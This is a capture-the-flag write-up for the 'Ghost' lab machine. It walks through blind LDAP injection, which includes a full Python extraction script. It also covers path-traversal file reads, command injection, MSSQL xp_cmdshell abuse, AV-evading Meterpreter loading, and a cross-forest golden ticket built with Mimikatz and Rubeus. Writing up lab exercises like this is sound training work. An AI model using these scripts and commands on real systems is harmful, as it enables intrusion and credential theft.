Ghost
Overview
Ghost is an insane-rated box built around a layered attack chain spanning two AD forests. The entry point is an LDAP injection vulnerability on an internal Next.js intranet that allows blind extraction of a service-account’s secret character by character. That secret authenticates to a Gitea instance, whose source code reveals a dev API route that passes unsanitized input to a shell command — but only with the right header. A second flaw in a customized Ghost CMS post endpoint reads arbitrary files, which leaks the environment variable containing the dev API key. Those two primitives together give RCE inside a container where LDAP enumeration recovers domain credentials for florence.ramirez. From there, an MSSQL linked-server chain allows impersonating sa on a secondary server and enabling xp_cmdshell for a Windows shell. With SeImpersonatePrivilege available, a fileless Meterpreter shell is established, and Mimikatz dumps the inter-forest trust key. A crafted golden ticket passed with Rubeus provides cross-forest access to dc01.ghost.htb to read the root flag.
Path: LDAP injection → gitea_temp_principal secret → Gitea source → Ghost file-read (DEV_INTRANET_KEY) → /dev/scan RCE → container shell → florence.ramirez creds → MSSQL linked server → sa impersonation → xp_cmdshell → Meterpreter (SeImpersonatePrivilege) → Mimikatz trust key dump → cross-forest golden ticket → root.
Enumeration
Web Surface
The host exposes several web services across multiple ports. Port 8443 serves a page that makes requests to an internal intranet endpoint:


Subdomain fuzzing with ffuf on port 80 uncovers intranet.ghost.htb:


The follow-up scan of intranet.ghost.htb on port 8008 requires making sure the proxy intercept is disabled so requests flow directly:

The intranet login page is accessible at http://intranet.ghost.htb:8008/login:

Foothold — LDAP Injection
Exploiting the Intranet Login
The login form accepts a username and a “secret” field. Testing for LDAP injection with wildcard characters reveals the filter is injectable — submitting * in the username field bypasses authentication:


Targeting the gitea_temp_principal service account (visible in the intranet user listing after logging in as kathryn.holland) and injecting s* into the secret field results in a 303 redirect — a positive response — confirming that the secret begins with s:

With this oracle, the secret can be extracted one character at a time by appending a wildcard and iterating over the character set. The following script automates the enumeration:
import requests
import string
secret = ""
url = "http://intranet.ghost.htb:8008/login"
headers = {
"Host": "intranet.ghost.htb:8008",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/x-component",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "http://intranet.ghost.htb:8008/login",
"Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
"Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
"Content-Type": "multipart/form-data; boundary=---------------------------319570264792094203288709212",
"Origin": "http://intranet.ghost.htb:8008",
"Connection": "keep-alive"
}
cookies = {
"connect.sid": "s%3A-Mpz6y5iqqZkrKgLKakT3OMRLkxItql8.ldD9FH8tj%2B5O0dz55ctyr6yJ%2FjcrIbkh2kwCTSq19BU"
}
data = (
"-----------------------------319570264792094203288709212\r\n"
"Content-Disposition: form-data; name=\"1_ldap-username\"\r\n\r\n"
"gitea_temp_principal\r\n"
"-----------------------------319570264792094203288709212\r\n"
"Content-Disposition: form-data; name=\"1_ldap-secret\"\r\n\r\n"
"{secret}\r\n"
"-----------------------------319570264792094203288709212\r\n"
"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
"[{},\"$K1\"]\r\n"
"-----------------------------319570264792094203288709212--\r\n"
)
characters = list(string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation)
SecretString = ''
while True:
for char in characters:
sendString = SecretString + char + "*"
modified_data = data.replace("{secret}", sendString)
response = requests.post(url, headers=headers, cookies=cookies, data=modified_data)
print(f"Trying: {sendString}, Status: {response.status_code}")
if response.status_code == 303:
print(f"Found character: {sendString}")
SecretString += char
break
else:
break


The script extracts the full secret:

Gitea Access
Credentials gitea_temp_principal:szrr8kpc3z6onlqf authenticate to the Gitea instance:


Browsing the repositories reveals several items of interest:


One repository contains what appears to be internal API documentation or a dev endpoint definition:


Critically, the source code for the blog’s dev API includes this Rust route:
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
// currently intranet_url_check is not implemented,
// but the route exists for future compatibility with the blog
let result = Command::new("bash")
.arg("-c")
.arg(format!("intranet_url_check {}", data.url))
.output();
// ...
}
The data.url field is passed unsanitized to bash -c, making /dev/scan an unauthenticated command injection endpoint — gated only by a DevGuard check that enforces a specific header (X-DEV-INTRANET-KEY).

Ghost CMS File Read — Leaking the Dev Key
A note in the repository explains that posts-public.js was modified to accept an extra query parameter, which is used to read additional file content and append it to the post response. The Ghost public API requires a key:
API key: a5af628828958c976a3b6cc81a
Combining the file-read primitive with a path traversal:
http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=../../../../../../../../etc/passwd&key=a5af628828958c976a3b6cc81a

Reading the container’s environment file exposes the dev intranet key:

DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
RCE via /dev/scan
With the DEV_INTRANET_KEY in hand, the /dev/scan endpoint accepts commands. Since data.url is appended directly to bash -c "intranet_url_check <url>", appending a semicolon or shell metacharacter after a valid URL injects arbitrary commands:


The commands execute inside a container environment.



Lateral Movement — florence.ramirez
LDAP enumeration from inside the container (which is Samba-joined to the domain) recovers credentials for florence.ramirez:



florence.ramirez : uxLmt*udNc6t3HrF

Foothold on Windows — MSSQL Linked Server
florence.ramirez has access to MSSQL. Connecting via mssqlclient.py and checking linked servers shows a [PRIMARY] link:
$ mssqlclient.py 'ghost.htb/florence.ramirez:uxLmt*udNc6t3HrF@<mssql-host>'

The linked server can be used to execute queries on the remote instance:
![Linked server [PRIMARY] enumerated via MSSQL](/writeups/ghost/ghost-image-40.png)
Checking the current login context on the linked server reveals it runs as sa:

With sa privileges, xp_cmdshell can be enabled on [PRIMARY]:
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [PRIMARY]
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [PRIMARY]
EXEC ('xp_cmdshell ''whoami''') AT [PRIMARY]

The result confirms command execution on the Windows host. Attempting to stage a shell:

Privilege Escalation — Meterpreter and SeImpersonatePrivilege
The xp_cmdshell session has SeImpersonatePrivilege. To get a stable shell, a fileless PE loader (FilelessPELoader) is used to inject a Meterpreter payload without touching disk, after running ThreatCheck to strip AV-detected bytes from the loader:



After some effort establishing C2:


The session lands on PRIMARY, not dc01 — the flags are on the DC.

Root — Cross-Forest Golden Ticket
Mimikatz is loaded to dump the inter-forest trust credentials:


The dump returns the rc4_hmac_nt (inter-realm trust key) for the CORP.GHOST.HTB → GHOST.HTB trust:

rc4_hmac_nt: dae1ad83e2af14a379017f244a2f5297
Domain SIDs from wmic useraccount:
GHOST.HTB:S-1-5-21-4084500788-938703357-3654145966GHOST-CORP:S-1-5-21-2034262909-2733679486-179904498
A golden ticket is forged targeting the ghost.htb forest using the inter-realm trust key, with the Administrator SID from GHOST.HTB included in the /sids field:
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-4084500788-938703357-3654145966 /sids:S-1-5-21-4084500788-938703357-3654145966-500 /rc4:dae1ad83e2af14a379017f244a2f5297 /target:ghost.htb /ticket:C:\temp\ghost.kirbi"

Rubeus passes the ticket and requests a CIFS service ticket for dc01.ghost.htb:
.\Rubeus.exe asktgs /ticket:C:\temp\ghost.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt


With the ticket in the session, dc01.ghost.htb is accessible over SMB — CIFS confirmed, root flag retrieved.
Takeaways
- Blind LDAP injection with a wildcard oracle is a fully scriptable credential-extraction technique. Any intranet login backed by an LDAP
BINDthat reflects redirect vs. deny is vulnerable to character-by-character enumeration. - MSSQL linked servers with misconfigured execution context are a free privilege escalation path —
saon a linked server meanssaeverywhere that server trusts, andsameansxp_cmdshell. - Cross-forest trust key abuse with Mimikatz + Rubeus lets you forge tickets that the target forest will accept for its own Administrators, collapsing an otherwise complex forest-to-forest boundary into a single Kerberos exchange.